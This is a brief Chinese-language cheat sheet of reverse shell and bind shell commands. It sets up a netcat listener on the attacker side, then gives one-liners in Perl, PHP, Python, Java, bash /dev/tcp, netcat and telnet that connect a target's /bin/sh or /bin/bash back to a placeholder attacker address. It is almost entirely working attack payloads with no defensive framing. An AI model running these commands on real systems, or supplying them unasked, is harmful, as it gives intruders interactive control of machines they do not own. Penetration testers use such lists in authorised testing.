反弹shell小结

攻击机监听

1
nc -lvvp 7777

靶机远程反弹shell

Perl

1
2
3
perl -e 'use Socket;$i="x.x.x.x";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:xxxx");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

php

1
php -r '$sock=fsockopen("x.x.x.x",xxxx);exec("/bin/sh -i <&3 >&3 2>&3");'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/12345;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

bash

1
2
3
bash -c 'sh -i &>/dev/tcp/x.x.x.x/xxxx 0>&1'
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

nc

支持-e

1
nc -e /bin/sh x.x.x.x xxxx

不支持-e

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12345 >/tmp/f

telnet

1
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 12345 0</tmp/p | /bin/bash 1>/tmp/p

正向链接

靶机

1
nc -l -p xxxx -e /bin/bash

攻击机

1
nc x.x.x.x xxxx